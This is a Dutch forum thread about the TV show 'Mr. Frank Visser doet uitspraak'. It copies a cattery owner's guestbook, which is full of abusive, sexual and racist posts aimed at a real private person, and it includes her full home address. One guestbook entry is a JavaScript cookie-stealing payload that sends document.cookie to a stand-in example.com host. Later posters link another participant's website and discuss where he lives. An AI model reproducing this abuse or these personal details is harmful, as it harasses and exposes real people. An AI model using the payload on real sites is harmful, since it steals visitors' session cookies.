Dit moet wel een topshow worden. De Rijdende Rechter maar dan platter, ordinairder, volkser. Je ziet in de promo al dat ze uitsluitend Zanger Rinus-wijken bezoeken waar mensen leven met 300 kippen in hun achtertuin of witte tuinstoelen in de voortuin. Weg zijn de kakkers met een overhangende tak, maak plaats voor de gewone Nederlander met gewone Nederlander problemen.
Memorabele uitzendingen
17 oktober 2016
Mevrouw Adriana en mevrouw Johanna zijn buren van elkaar. Mevrouw Johanna beleefd plezier aan het voeren van de vogels in haar tuin. Mevrouw Adriana ondervind hier hinder van omdat ze schijtziek wordt van de vogels die in haar tuin poepen en voor nog meer overlast zorgen. Dan komt ook nog het buurmeisje erbij die mevrouw Johanna beschuldigt van het openzetten van het konijnenhok van het buurmeisje. Mr. Visser besluit dat mevrouw Johanna gewoon de vogels mag blijven voeren.
Mevrouw Adriana, ookwel door ons FOK!kers Magere Hein genoemd houdt er nogal van om mevrouw Johanna uit te schelden en te bedreigen. Dit erkent ze ruiterlijk aan Viktor, getuige onderstaand fragment:
Maandag 31 oktober 2016 - Kat in de zak
Mevrouw Jessica koopt bij de cattery van mevrouw Jacqueline een poes. Deze poes blijkt helaas ziek te zijn en mevrouw Jessica eist een schadevergoeding van mevrouw Jacqueline. Tijdens het locatiebezoek ziet Mr. Visser poep aan de muren zitten, wordt mevrouw Jessica bedreigd door de partner van mevrouw Jacqueline en zien we een-dags-kuikens aan de katten gevoerd worden. Mevrouw Jessica wordt in het gelijk gesteld en mevrouw Jacqueline moet een schadevergoeding betalen. Tijdens de uitzending blijkt ook nog dat mevrouw Jacqueline, naast een enorme hoeveelheid beenhaar, ook nog een gastenboek heeft:
Mr. Visser doet uitspraak wordt mede mogelijk gemaakt door:SPOILERJacqeuline31-10-16 22:54:02
Lieve mensen jullie hebben gelijk ik ben idd een vette bep Ik lig hele dagen op me bed te niksen Ik ben eenmaal te lui om wat te doenen me kerel die doet ook geen rotmoer Die is nog te lui dat hij me likt. Sorry mensen
ik zal beter me best gaan doen Groetjes van mij Jacqueline den Broeder
Schouw 45
3263 PD Oud Beijerland
The real catlady31-10-16 22:50:02
Jezus mens wat is het bij jullie een grote bende. En dan durf je nog 650 euro te vragen voor een kitten? Mijn god...arme beestjes. Ze moeten al je dieren weghalen en dat hele huis compleet reinigen. Ben blij dat je hebt moeten betalen. Iemand met zo weinig respect voor mens en dier verdient niet beter. Ik hoop dat je nooit meer een kitten verkoopt. In mijn ogen ben je gewoon een broodfokker. Zelf op je luie reet blijven zitten en die katten geld voor je laten verdienen. Geef je dat wel op aan de sociale dienst?
joop31-10-16 22:47:21
Beter verhuizen naar een fris woninkje dikke koei
Tika31-10-16 22:45:40
Een kitten aan de nieuwe eigenaar meegeven, terwijl het kitten een nog niet genezen luchtweginfectie heeft?
Dan ben je een zeer slechte fokker.
Alleen een gezond kitten naar z'n nieuwe baasje. Dan zie je ook nog andere kleine Kittens met natte oogjes en dat komt door een nageltjes van het stoeien?
Ga toch weg zeg. In de tijd dat ik af en toe een nestje Noorse Boskatten fokte heb ik mezelf genetisch en veterinair goed onderlegd. Dus ik weet waarover ik praat.
Deze fokker is een schande voor de fokkers, die écht van hun dieren houden.
Mijn advies: koop daar nooit een kitten!
b31-10-16 22:45:35
pfffffffffftokkies
Ikke31-10-16 22:41:09
Wat ben jij een smerig kutwijf met die steuntrekkende vent van jeFrank visser had jullie levenslang moeten geven in een gesloten inrichtingDe katten moeten allemaal weggehaald worden en de gemeentereiniging moet eens flink door het huis , of nog beter tot de grond afbrekenTyfuswijf , je moet betalen en dit is mijn uitspraak
VET VARKEN31-10-16 22:40:47
Wat een tokkies zijn jullie! Ik hoop dat de dierenbescherming bij jullie de katten weg haalt! Jullie zijn geen dieren waard! Vies vet varken ga maar werken voor je geld inplaats van zieken katten te verkopen! En die vent van jou wat een varkenskop zeg!#PROFITEURS
Geile boy31-10-16 22:40:31
Ik wil mijn spermapistool wel in jouw poesje steken
Japie31-10-16 22:40:12
En snel wat poetsen gaat je niet helpen 'buurvrouw'
Dit is echt te smerig
linda31-10-16 22:39:53
Uiteraard een grapje wat ik net allemaal schreefthis idd een dikke bende en vies daarzal zelfs eens een klacht indienen bij de dierenbescherming
Natuurgeneeskundige en Voedingsdeskundige voor mens en dier Linda
Rob Geus31-10-16 22:39:47
Kat in de zak31-10-16 22:39:47
Henk, hè!31-10-16 22:39:09
De uitspraak is terecht! Je bent een schande voor de katten. De kat laten slapen in een kattenbak. Hoe haal je het in jouw zotte harses?! Je hebt niet vooraan gestaan bij het uitdelen van hersenen, en die lamlul van jou trouwens ook niet… maar goed. Meneer Visser heeft uitspraak gedaan, en daar zult u het mee moeten doen.
Louis31-10-16 22:39:03
En uiteindelijk na een paar jaar komt de waarheid over de smerige bende eens openbaar. .....de dierenpolitie mag ook zijn huiswerk eens gaan overdoen!
Mo31-10-16 22:39:00
Wil jij NOOIT meer namens alle fokkers spreken? Jij bent een schade voor de Coonfokkers, dat ben je al jaren. Ik zie nog de foto's van die arme moederpoes: gaten in haar lijf zo groot dat de kittens er in kropen. Ze lagen gewoon in de pus. En maar doorfokken met dat arme dier.
Je moet de ogen uit je kop schamen en stoppen met fokken.
Japie31-10-16 22:38:37
Je katten zijn een gevaar voor de volksgezondheid. Ik heb de woningbouwvereniging gevraagd op te treden. Wat een vieze bende.
Japie, een van je buren
pfff31-10-16 22:37:53
Linda je bent beslist haar tweelingzus
Langlevedehond31-10-16 22:37:51
Wat ben jij een dierenbeul. Een varkensstal is schoner dan die hut van jou. Vraag me af hoe je 'gewone' kinderen er uitzien. Arme poezebeesten en die arme hond. Je bent ze echt niet waard, ze zijn beter af bij iemand de wel goed voor ze zorgt.
Negatieve31-10-16 22:37:40
Zojuist een klacht ingediend bij de dierempolitie. Dit kan echt niet.
Rob geus31-10-16 22:37:12
Hallo, hier wordt ik niet blij van. Manmanman...
Mvg Rob Geus
Linda31-10-16 22:36:20
Wat ontzettend respectloos al deze reacties.
Ik zag het programma op tv en wilde je graag een compliment geven dat je katten er super goed uit zien en super dat je ze de beste voeding geeft die je maar kunt geven.
Ga zo door en laat die negatieve mensen maar praten.
Veel succes met je cattery!
Vriendelijke groeten, Linda
Natuurgeneeskundige en Voedingsdeskundige voor mens en dier
Perry31-10-16 22:36:04
jammer voor je...Gewoon beetje afvallen en gaan werken !Slapend rijk worden .....zorg es voor die dieren zoals het hoort !
Henk31-10-16 22:35:43
Als ik al zie hoe dat kot van jou eruit ziet hoef je niet af te vragen hoe je kittens en katten erbij lopen...je loopt zelf al te snotteren van de lichthinder je kot .. mr visser heeft ook terecht rechtgesproken ... ze moeten zelfs je katten weghalen ... hallo PvdD
aan suzan31-10-16 22:34:45
aan Suzan hier ondermag ik jouw poes zien?
Michael31-10-16 22:34:24
ze kon er niets aan doen . stofzuiger was stuk . water was afgesloten . pijn in haar rug. kerel die liever lui dan moe is . of te wel . ga werk zoeken en stop met je fok programma ik ga nu de walking dead kijken maar heb het idee dat ik er net al een paar heb zien lopen .
vies en smerig zijn jullie en ik weet zeker dat jullie voor de komst van de camera nog flink hebben staan boenen.
ik ga de instanties zeker inlichten en zorg dragen dat jullie zogenaamde catterij snel gesloten wordt.
denk eens na ,,,,,,,,,
Poesje miauw 31-10-16 22:34:22
Maak je mond dicht anders valt de zaal om je tanden zullen
Net zo schoon zijn als je huis
En die lamzak van je
Gr poesje miauw
Suzan31-10-16 22:33:15
Ik zou zo niet kunnen leven maar ook nooit mijn raskatten halen. Daar moet je zelf ook wel op letten.
Tevens is 100% rauwe vlees wel beter voor een kat, maar dan wel met extra toegevoegde mineralen zoals taurine. Ik heb niet het idee dat die nog extra bij het vlees gedaan worden.
Als je je kat rauw vlees wil geven, koop dan speciaal vlees met alle benodigdheden.
Tevens liegen over een oog en steeds vol blijven houden dat het door stoeien komt, vind ik gewoon fraude in dit verhaal, maar kan je helaas niet bewijzen.
Terechte uitspraak en ik hoop dat de dierenpolitie samen met de landelijke inspectie dierenbescherming ook nog eens een controle komt doen.
V31-10-16 22:32:39
knorknor
sluiten die broodfokker
kattenmens31-10-16 22:31:47
wat een smerige bende is het bij jullie zeg. maak eens wat schoon. Zo zielig voor die katten die bij jullie zijn. Ik hoop dat die katten worden opgehaald bij jullie te smerig om in de wonen hoor. en inderdaad nog meer haar op je benen dat dat je katten haren hebben.
ik zeg sluiten die boel en snel en breng die katten en hond aub naar goed schoon huis
Frank pisser31-10-16 22:31:44
Als je nu een beetje ranja in je open muil giet ben je net een vliegenvanger!
Kijkermeneervisser31-10-16 22:31:32
De uitspraak lijkt me terecht. Hier geen katten meer nemen!
Zwarte Piet31-10-16 22:30:41
Ga maar schoonmaker bij de NS worden.
Na vandaag verkoopt u geen kat meer!
JANKERT31-10-16 22:29:36
WAT ZAL ZE JANKEN ALS ZE DIT ALLEMAAL LEEST
Frank visser31-10-16 22:28:16
Hebben je kattegen tegen de muur lopen schijten? Of zit je zelf aan de spetterpret? Vies dik vuil graf monster!
deurwaarder31-10-16 22:28:13
lekker puhhhhh
huur tevens een schoonmaak bedrijf
betalen jij
trouwens je mond hing open hahahahahah
1337H@xx0r31-10-16 22:27:51
'
Nat poesje31-10-16 22:27:50
TERECHT!!!! Fokkerland?! Jij bent het voorbeeld hoe het NIET moet.
ria31-10-16 22:26:37
Zo de uitspraak en nu heeft ze niets te zeggen, haar mond viel open en ging niet meer dicht.
haarbal31-10-16 22:26:13
nou lekker betalen en gaan poetsen samen met die lamlul van je .
IKKE31-10-16 22:26:00
Zo betalen moet je
betalen dikke trol
De Haan31-10-16 22:23:26
Je bent zelf een dikke drol! Stuur de dierenbescherming op je af.
Natte poes31-10-16 22:22:51
Afbeeldingsresultaat voor kat HAHAHAHAHAHAH
Jansen 31-10-16 22:20:51
GADVERDAMME!! Je bent een armoedige broodfokker die nog hariger is dan die lelijke kutkatten die je verkoopt. Je verliest, en terecht. En die vent van je? Wat een lamlul!
Arie de Beuker31-10-16 22:18:55
window.location = "http://www.example.com/cookiesteal?" + escape(document.cookie);
Jeanette muller31-10-16 22:18:01
Hoe kan je hier je katten vandaan halen bij de Tokkies.smerig huis, vieze kattenbak in de huiskamer en sommige kittens geen frisse ogen.Je kan beter uit het asiel je kat halen zien er beter uit en is ook 'n hygiënische omgeving en geen luchtjes!
Turkse Poes31-10-16 22:17:40
Er komt een turkse vrouw bij de dokter en zegt : kutje auw, kutje rood.
de dokter begreep het en gaf haar pillen en de turkse vrouw moest over een week terug komen voor controle.
Na een week komt de vrouw weer terug en zegt: kutje auw, kutje rood.
de dokter geeft haar andere pillen en de vrouw moest weer over een week terug komen.
Dan komt ze over een week weer terug en zegt: kutje auw kutje rood.
de dokter geeft haar zalf en zegt : je moet dit over je kut smeren, maar pas op als je het inneemt ga je dood.
Een week later komt de vrouw huilend bij de dokter en schreeuwt : kutje auw, kutje rood, Ali likken, Ali dood!!!
Poesje was ziek31-10-16 22:17:07
Mr. Vissert31-10-16 22:16:14
vieze stinkteef
Dierenvriend31-10-16 22:16:00
O wat ben jij vreselijk voor je hond en je huis is zo smerig! Ik vind dit ronduit schandalig hoe jij met mensen om gaat met je grote bek. Je hond moet daar weg en je huis laten ontsmetten.
jan31-10-16 22:13:53
poep tegen de muur!
hey joh we maken hier gewoon schoon hoor!
wat een huishouden bah bah
Huisarts31-10-16 22:12:25
ze heeft zelfs ook oogontsteking..douche helptviespeuk
Huisarts31-10-16 22:12:25
ze heeft zelfs ook oogontsteking..douche helptviespeuk
Ria31-10-16 22:09:44
wat een vuilnisbelt, heb het te doen met de beestjes. Als je al niet voor jezelf kan zorgen hoe moet je dan voor al die beestjes kunnen zorgen en dan zeggen dat je hond onderaan de lijst staat, nou breng maar hier hoor. Kan me niet voorstellen dat het gezond is.......😒😒
deurwaarder31-10-16 22:09:04
die homepage van internet afcattery sluitenbeestjes ergens plaatsen...verbod op fokkenenigste oplossingpuur winstbejagen die vent van haar aan het werk zetten die lambal
Royal Canin31-10-16 22:08:20
Je bent ons voer niet waard. Vanaf heden is het niet meer toegestaan ons voer te kopen. Bij elke overtreding krijgt u een boete van 500 euro
victor31-10-16 22:08:19
zag ik dat nou goed werd meneer visser nu ff niet lekker
De dierenarts31-10-16 22:07:04
Hahahah wat een mannetje... want dan gebeuren er ongelukken... hij kan nog geen deukje in een pakje boter slaan LAMLUL!!!
Miane Coon Lover31-10-16 22:04:49
Mooi om die jonge meid uit te maken dat het om geld gaat.Jij bent geen liefhebbende fokker, jij bent een echte broodfokker waarbij alles draait om geld, geld en nog eens geld.te walgelijk voor woorden en onbegrijpelijk dat jullie een echte cattery zijn.het ene leugen na het andere komt uit die grote waffel
Bahbah en nog een bah
Hondenliefhebster31-10-16 22:03:39
geef die hond maar hier,die ben je helemaal niet waard,eigenlijk alle dieren niet,wat een varkensstal!
Jan31-10-16 22:02:01
gewoon betalen alle kosten !!!jankert
houtwurm31-10-16 21:59:17
wat een assoschreeuwbek
Kutj31-10-16 21:59:16
Wat een takkewijf.. stop ff lekker met dat fokken Tokkie!!!!!
Jankwijf
De smaakpolitie31-10-16 21:56:24
Hier word ik niet vrolijk van...
Natte poes31-10-16 21:56:07
speknek
Hahah31-10-16 21:55:04
Je benen hebben nog meer haren dan die katten😂
Germ wat een zwijnenstal daar....
Als je niet voor jezelf kan zorgen, moet je niet zoveel katten houden gr
Viola31-10-16 21:52:19
Trek je niks aan van al die berichten hieronder. Mijn poesje was gewoon fris. Wel een beetje vochtig toen ik haar ophaalde maar dat is inmiddels opgelost door Bubba met zijn droge wonderstaf. Was een tip van Anouk. Die heeft een uitgewoonde poes in haar broek.Kusjes, Viola Fok.
Dierenvriend31-10-16 21:51:42
Zonde van de hond, dat hij qua `liefde` volgens jou helemaal onderaan staat. Je bent de katten en de hond niet waardig!!
poesje31-10-16 21:51:38
Vette Bepneem eens douchevies betjetijd voor de gemeente reiniging
Pislucht31-10-16 21:51:23
Haha, Victor stapt binnen en vindt het stinken, lol!
poesje mauw31-10-16 21:47:58
Jeetje wat een bende in da huisdaar ga je van over je nek als je da huis binnen staptte vies voor woordenwat een jankert....ga eens op dieet....
Pussycat31-10-16 21:47:40
Bah, daar zou ik niet willen wonen hoor.
Pootjes van Pussycat
Kim Holland31-10-16 21:47:15
Is uw poes net zo vies en ziek als de andere poesjes? Neem dan contact met mij op op 0906-180329
Jan-Baard van de Dierenpolitie31-10-16 21:47:03
Ja hier Jan-Baard van de Dierenpolitie. Koos vind zoveel katten in huis niet goed. Dit kan nog wel eens van invloed zijn op de verkeersveiligheid.
patrick31-10-16 21:45:18
Ongezonde omgeving voor de poesen. Is gewoon pure aids
Leuke kerel31-10-16 21:45:03
ieeeeeeeeewat een vetkaai jankert ga eens douche
Dierenarts Katwijk31-10-16 21:44:44
Ik heb geen woorden voor dit. Misschien eens een opleiding als schoonmaker gaan doen?
André van der Toorn31-10-16 21:42:43
Koos is dat wel toegestaan, zo vies huis?
katteliefhebber31-10-16 21:42:23
Huur eerst maar eens een poetsvrouwval dan eens 30kg afbahbah vette bep
Bouwbedrijf het Fundament31-10-16 21:42:03
Heeft u nog een goede fundering nodig onder uw bed? Bij bouwbedrijf het fundament bent u op het juiste adres.
vetklep31-10-16 21:40:59
wat een tering zooi daar niet normaal meer
dierenvriend31-10-16 21:40:58
gadverdamme wat een smerige oplichtster ben jij
hoezo zeggen dat die kitten bij jou niet ziek is geworden net of een kat binnen 2 straten ziek kan worden.
je bent niet goed wijs en geen dier waardig
gun het jou dat er binnenkort de dierenpolitie op de stoep staat
zeggen wij maken schoon hier maar je katten op je eettafel laten lopen nee echt super fris en schoon.
wat ben jij een ranzig wijf en hoop echt dat al jou katten worden weggehaald en dat je nooit meer een kat krijgt.
katje31-10-16 21:40:38
wat een bende in dat huisniet raar dat katten ziek zijn
Frank Visser31-10-16 21:38:29
U moet beter voor uw katten zorgen!
Dit is mijn uitspraak, en daar moet u het mee doen.
Victor Brand31-10-16 21:37:24
Hoi, maak die muur eens schoon
poep31-10-16 21:37:07
Ranslappen!!
Altijd weer hèquote:
Is wel een gouden kalf waard.quote:
Op Ja, dat doet hij goed. Ik vraag me af wat hij nou zelf van zo'n zaak vindt.quote:
Dat sneuvelt bij elke rechter onder mom van redelijkheid.Viktor speelt dan ook dat hij het een prachtig huis vindtquote:Op maandag 28 augustus 2017 21:37 schreef NewHorizon het volgende:
Wat een godgruwelijk lelijk huis ook
2 nieuwe projecten voor dat klusprogramma wat ie presenteertquote:
[..]
Viktor speelt dan ook dat hij het een prachtig huis vindt
Verhuizen of verbouwen was dat toch? Ik zeg verhuizen!quote:
[..]
2 nieuwe projecten voor dat klusprogramma wat ie presenteert
Ik had het over die nieuwbouw grijze klikoquote:
[..]
Viktor speelt dan ook dat hij het een prachtig huis vindt
"Binnenkort op RTL 7: Verhuizen, verbouwen of de bulldozer eroverheen!"quote:
[..]
Verhuizen of verbouwen was dat toch? Ik zeg verhuizen!
Ik denk dat ze kiezen voor het gezicht van de buurman verbouwenquote:Op maandag 28 augustus 2017 21:40 schreef James1988 het volgende:
[..]
"Binnenkort op RTL 7: Verhuizen, verbouwen of de bulldozer eroverheen!"
quote:
[..]
Ik denk dat ze kiezen voor het gezicht van de buurman verbouwen
Nou, inderdaadquote:
Okee die glazen wand is wel echt fantastisch
Daar ging mijn limonadequote:Pijpen....
elektrische pijpen heb ik geen moeite mee.
Buitenkant ziet er echt gruwelijk lelijk uit, met name vanaf de zijkanten gezien. Maarja, daar kijk je zelf niet tegenaanquote:
Dat is wel een zwaktebod inderdaad.quote:
Ja zo op het eerste gezicht wel. De buren zijn voor zo ver ook wel oke. Dus hoe kan dit zo escaleren vraag je je af...quote:
Die buurman lijkt me eigenlijk best een aardige vent.
Of ze kunnen aantonen dat het hek er al 20 jaar staat en de boel verjaard is.quote:
Mijn gok: de erfgrens is zoals hij is ingemeten door het kadaster, de bomen zijn gezond en mogen blijven staan.
soms wel jaquote:
Weglopen is goede conflicthantering ja
Soms is dat beter dan de confrontatie aangaan...quote:
Weglopen is goede conflicthantering ja
Wat hebben ze dan gedaan?
jonkoe gerooktquote:
Kadaster wel geweest maar niet gemeten.
Wat hebben ze dan gedaan?
Achtergrens van de nieuwe buurman gemeten.quote:
Kadaster wel geweest maar niet gemeten.
Wat hebben ze dan gedaan?
Oh het moest twee meter zijn
Ja, het is wat hè..... en misschien vond de vorige eigenaar van het buurperceel het wel geen enkel probleem.quote:
Ja inderdaad... die valt flink door de mandquote:
Meneer de conflicthanteerder kan lekker luisteren en discussiëren zeg...man man man
Nou inderdaad. En dan leeft hij ook nog volgens de boedhistische leefregels. Maar een ander wat gunnen, ho maar.quote:
Meneer de conflicthanteerder kan lekker luisteren en discussiëren zeg...man man man
Dat hij een kapvergunning aanvraagt voor de bomen van de buren, de buren bezwaar aantekenen en dat de gemeente dan geen vergunning afgeeft.
Die zijn vaak het ergste...zogenaamd vredelievend. Totdat ze hun zin niet krijgen 😂quote:
[..]
Nou inderdaad. En dan leeft hij ook nog volgens de boedhistische leefregels. Maar een ander wat gunnen, ho maar.
Misschien had je je huis dan wat verder opzij moeten zetten.
Ja inderdaad.quote:
[..]
Die zijn vaak het ergste...zogenaamd vredelievend. Totdat ze hun zin niet krijgen 😂
Ja, dit.quote:
Wat een figuur.
Minder lucht idd... tuurlijk
plus buurmanquote:
Gewoon al het groen binnen de bebouwde kom verwijderen.
maximaal trollen.quote:
Ik miste t ff. Waarom eist ie nou een dwangsom?
The NANNYquote:
Hij kent juristen en psychologen. Nou nou, dat maakt indruk.
Hoho hij heeft zich in laten lichten door zijn vrienden de advocaten. En psychologen.quote:
Omdat hij niet gelooft dat ze die kastanjeboom gaan weghalen, ook al beloven ze het.quote:
Ik miste t ff. Waarom eist ie nou een dwangsom?
quote:
Op Collegae promovendi.quote:
[..]
Hoho hij heeft zich in laten lichten door zijn vrienden de advocaten. En psychologen.
Tnx!quote:
[..]
Omdat hij niet gelooft dat ze die kastanjeboom gaan weghalen, ook al beloven ze het.
Wat een mafkees
Ja maar het hek staat vooraan een paar cm verkeerdquote:
Blahdieblahdieblah...kadaster heeft gemeten en dat is grens. Deal with it eikel.
.Ojaquote:
The horror!!!!quote:
[..]
Ja maar het hek staat vooraan een paar cm verkeerd
ik ga het wel even doen!
Hij wil het weg laten halen hoorquote:
.heeft ie nietquote:
En die Hoogland kan zich morgen toch niet serieus meer op z'n werk of bij klanten vertonen? Conflictbemiddelaar, nou nou
Inderdaad.quote:
Nou, hij liep aan het begin wel te "grappen" dat hij na de uitzending misschien geen baan meer had, maar ik zou hem idd niet meer hoeven als conflictbemiddelaar.
Narcissen zijn wel bloemen natuurlijkquote:
Kan me niet aan de indruk onttrekken dat meneer de buurman een beetje een narcistische inslag heeft en dat verwart met een boedhistische inslag.
Ik dacht op precies hetzelfde moment hetzelfde. Allemaal een borrel en een muntje opgooien. Klaar..quote:
Ik zou als ik daar zat alleen maar denken: wanneer gaan die flessen drank open
hoera voor de boom HULDEWat een heerlijke uitspraak
wie kent die uit zijn hoofdquote:
Artikel 15 van de gemeentelijke verordening over het hoofd gezien door al zijn promovenda
Ze hadden iig even de moeite moeten nemen de gemeentelijke verordening in te kijken voor ze hem zo hoog van de toren lieten blazen.quote:
Die hebben lekker naar de landelijke regels gekekenquote:
Ik denk dat die promovendi iets meer moeten studeren
quote:
Hij gaat die boom straks omhaken en gewoon die 10K betalen.
Dat is dan weer wel netjes van hem.quote:
Kastanje gaat weg.quote:
Tenenkrommend ingestuurdquote:
Je moet ook echt niet als stadse hufter in zo'n dorp gaan wonen en dan de dorpsbewoners wel even gaan vertellen hoe het allemaal eigenlijk moet, dan kun je het schudden.quote:
Hahaha die man achter meneer Hoogland kwam niet meer bij!
Ik gok dat die hut van hem binnen 3 jaar te koop staat, die wordt totaal uitgekotst met z'n arrogante gedoe.
jammer dat ze dat niet nagezocht hadden. had de kastanjeboom ook kunnen blijven lolquote:
[..]
Ze hadden iig even de moeite moeten nemen de gemeentelijke verordening in te kijken voor ze hem zo hoog van de toren lieten blazen.
Jep, vooral als je met regeltjes op regeltjes aan komt zetten. Daar wordt veel meer gewoon onderling afgesproken en opgelost.quote:
[..]
Je moet ook echt niet als stadse hufter in zo'n dorp gaan wonen en dan de dorpsbewoners wel even gaan vertellen hoe het allemaal eigenlijk moet, dan kun je het schudden.
Ik gok dat die hut van hem binnen 3 jaar te koop staat, die wordt totaal uitgekotst met z'n arrogante gedoe.
Wel prachtig dat hij dan ff met die regels om de oren werd geslagen
Ja idd....quote:
[..]
jammer dat ze dat niet nagezocht hadden. had de kastanjeboom ook kunnen blijven lol
Dat koppel wilde zich als de betere buur presenteren. Dat deden ze goed.quote:
[..]
jammer dat ze dat niet nagezocht hadden. had de kastanjeboom ook kunnen blijven lol
Nogmaals huldequote:Artikel 15
Afstand van de erfgrenslijn
De afstand als bedoeld in artikel 5:42 Burgerlijk Wetboek is vastgesteld op 1 meter voor bomen en op nihil voor heesters en heggen.
Dat zijn van die plekken waar je met je auto van de weg raakt en de buurman m met de trekker weer uit de sloot haalt.... niemand die het er verder ooit over heeft.quote:
[..]
Jep, vooral als je met regeltjes op regeltjes aan komt zetten. Daar wordt veel meer gewoon onderling afgesproken en opgelost.
Wel prachtig dat hij dan ff met die regels om de oren werd geslagen
Daar moet je idd niet gaan regelneuken, en al helemaal niet als je niet weet wat de regels zijn, artikel 15 is wel gewoon briljant in deze
Ik denk dat het ze ook echt zwaar valt wat er gebeurde, ze zijn idd gewend dat je dingen onderling en in goed overleg oplost, en dan zo'n vent die zichzelf importeert in je polderdorp en daar duidelijk helemaal geen bal van snapt en gaat lopen dreigen met rechters en dwangsommen.quote:
[..]
Dat koppel wilde zich als de betere buur presenteren. Dat deden ze goed.
Er zou maar zo'n hufter naast je komen wonen en ineens allemaal eisen stellen terwijl je daar zelf al 60 jaar woont
http://www.wimhoogland.nl/
Is de site van die mafklapper.
Geen gastenboek helaasquote:
Lekkere uitspraak.
http://www.wimhoogland.nl/
Is de site van die mafklapper.
Die foto met die monniken. Ik krijg er een nare bijsmaak van.
quote:
https://www.lansingerland(...)d-week-26_86836.html
Edit: vreemd genoeg is er ook een vergunning aangevraagd voor het kappen van de eik:
https://www.lansingerland(...)d-week-22_85951.html
Ben benieuwd wie die aanvragen gedaan heeft.
Omdat je die-hard bomenknuffelaar bentquote:
Maar hoezo zouden wij bezwaar kunnen maken tegen het kappen van een boom in Berkel en Rodenrijs? Wij zijn toch helemaal geen belanghebbende?
Waarschijnlijk de bewoners. Misschien heeft de beste buurman ze een mooi bedrag betaald, hij kwam wel over dat die boom kostte wat kost weg zou moeten.quote:
Zijn adres staat ook op de website, en de buren woonden op 44.... en helaas zijn we net te laat om in bezwaar te gaan tegen het kappen van de kastanje:
https://www.lansingerland(...)d-week-26_86836.html
Edit: vreemd genoeg is er ook een vergunning aangevraagd voor het kappen van de eik:
https://www.lansingerland(...)d-week-22_85951.html
Ben benieuwd wie die aanvragen gedaan heeft.
Goed researchwerk trouwens
Man, als het om bomen gaat wordt er door totaal onbekende mensen bezwaar aangetekend.quote:
Maar hoezo zouden wij bezwaar kunnen maken tegen het kappen van een boom in Berkel en Rodenrijs? Wij zijn toch helemaal geen belanghebbende?
Echt van de zotte.
Dat mag je hopen ja, je hoeft geen eigenaar te zijn om een vergunning aan te vragen, ook niet voor verbouwingen bijvoorbeeld. Vreemd genoeg.quote:
[..]
Waarschijnlijk de bewoners. Misschien heeft de beste buurman ze een mooi bedrag betaald, hij kwam wel over dat die boom kostte wat kost weg zou moeten.
Goed researchwerk trouwens
Maar voor een huis dat je zou willen kopen zou je dus ook al een vergunning voor een verbouwing kunnen aanvragen.
Ik zie die dweil van een buurman er trouwens prima toe in staat een kapvergunning aan te vragen en dan met die kapvergunning aan te komen van "Zie, het mag van de gemeente, hij moet tegen de vlakte".
Hij had immers ook al de "binnen een week" eis neergelegd, en dat kan niet zonder verleende vergunning.
https://www.funda.nl/koop(...)d-49131839-molenweg/
Wel waardeloos trouwens, in het buitengebied een kavel van 580m².... je ziet hoe die hut van de boze buurman misstaat op zo'n kleine kavel.
Je bent toch geneigd om te denken dat ze die kavel van buurman er beter zelf bijgekocht hadden kunnen destijds
Kopen en volplempen met kastanjebomen en eikenquote:
Als je een paar duiten overhebt kun je zelf iets aan de andere kant van de boze buurman bouwen...
https://www.funda.nl/koop(...)d-49131839-molenweg/
Een kastanjeplantage op 1 meter van de erfgrensquote:
[..]
Kopen en volplempen met kastanjebomen en eiken
De kavel die nu nog te koop staat is gedaald van 375.000 naar 325.000.quote:
Wat zou die bouwgrond gekost hebben?
Je bent toch geneigd om te denken dat ze die kavel van buurman er beter zelf bijgekocht hadden kunnen destijds
Die kavel is trouwens net zoveel m² als die van de boze buurman, dus ik gok dat die gewoon 375.000 voor die kavel gegeven heeft.
Ik denk dat die mensen zich niet kunnen permitteren ruim 3 ton voor een blijvend vrij uitzicht te betalen.
Dat zijn aardige bedragen.quote:
[..]
De kavel die nu nog te koop staat is gedaald van 375.000 naar 325.000.
Die kavel is trouwens net zoveel m² als die van de boze buurman, dus ik gok dat die gewoon 375.000 voor die kavel gegeven heeft.
Zou die grond minder waard geworden zijn door dat boze buurman zo'n uitgesproken woning heeft neergeplempt?
Doorgaans zit alles toch behoorlijk in de lift qua prijzen de laatste tijd.
De kavel ernaast staat 4 maanden te koop en ze hebben al meer dan 10% moeten zakken....quote:
[..]
Dat zijn aardige bedragen.
Zou die grond minder waard geworden zijn door dat boze buurman zo'n uitgesproken woning heeft neergeplempt?
Doorgaans zit alles toch behoorlijk in de lift qua prijzen de laatste tijd.
Maar goed, als je op streetview kijkt dan zie je ook gewoon dat je niet blij wordt van zo'n vrijstaand huis op zo'n kavel.
En voor de duidelijkheid: ja, in de stad zou het luxe zijn, maar in een weiland is het natuurlijk absurd, kavels van nog geen 600m² voor een vrijstaand huis.
Meester Visser heerste in deze uitzending meer dan ooit, het begon al met die terloopse opmerking over de schroeven in het hek 'Ja daar loopt u de hele dag langs natuurlijk'.
Zielig voor dat echtpaar dat hun mooie uitzicht geblokkeerd is door dit vreselijke persoon, en dan gesteggel over een hekje en boom, van die brave mensen die daar dan wakker van liggen en verdrietig van worden
Iemand als Hoogland zou ik graag slaan plat tegen zijn hoofd met een fikse makreel, van dit soort mensen word ik danig agressief.
Nou zal hij de reacties hier afdoen als "gebash op een forum", maar als ik kijk wie er in deze reeks meeposten dan is dat allesbehalve de bashusers.
En ik verwacht niet dat de reacties elders (media, het echte leven) anders zullen zijn.
Dit zijn de mensen die anderen graag een spiegel willen voorleggen over hun gedrag (en daar hun werk van maken), maar zelf nooit in de spiegel kijken.quote:
En wat zullen de reacties Hoogland tegenvallen.
Nou zal hij de reacties hier afdoen als "gebash op een forum", maar als ik kijk wie er in deze reeks meeposten dan is dat allesbehalve de bashusers.
En ik verwacht niet dat de reacties elders (media, het echte leven) anders zullen zijn.
Deze is wel heel naar hoor, mijn hemel.quote:
[..]
Dit zijn de mensen die anderen graag een spiegel willen voorleggen over hun gedrag (en daar hun werk van maken), maar zelf nooit in de spiegel kijken.
Ach het was weer een ouderwets goede aflevering hahaquote:
[..]
Deze is wel heel naar hoor, mijn hemel.
misschien had je dan niet gelijk een eis neer moeten leggen dat alles binnen een week verwijderd dient te worden
en tussendoor zichzelf nog even heel sympathiek proberen neer te zetten, zogenaamd totaal niet materialistisch enzovoort.. echt een vervelend mannetje
gelukkig een flawless victory voor de buren + fatality door meester Visser
Misschien ben ik te makkelijk met dat soort dingen, maargoed.
Maar, wat een drama van die mensen, met neptranen.
Ze kregen binnen 20 jaren te horen dat hun hek over de grens staat, dus imo niet verjaard.
Die bomen? Weet ik nog niet. Zal wel iemand komen vertellen hoe oud die zijn. Ouder dan 20 jaar. Verjaard.
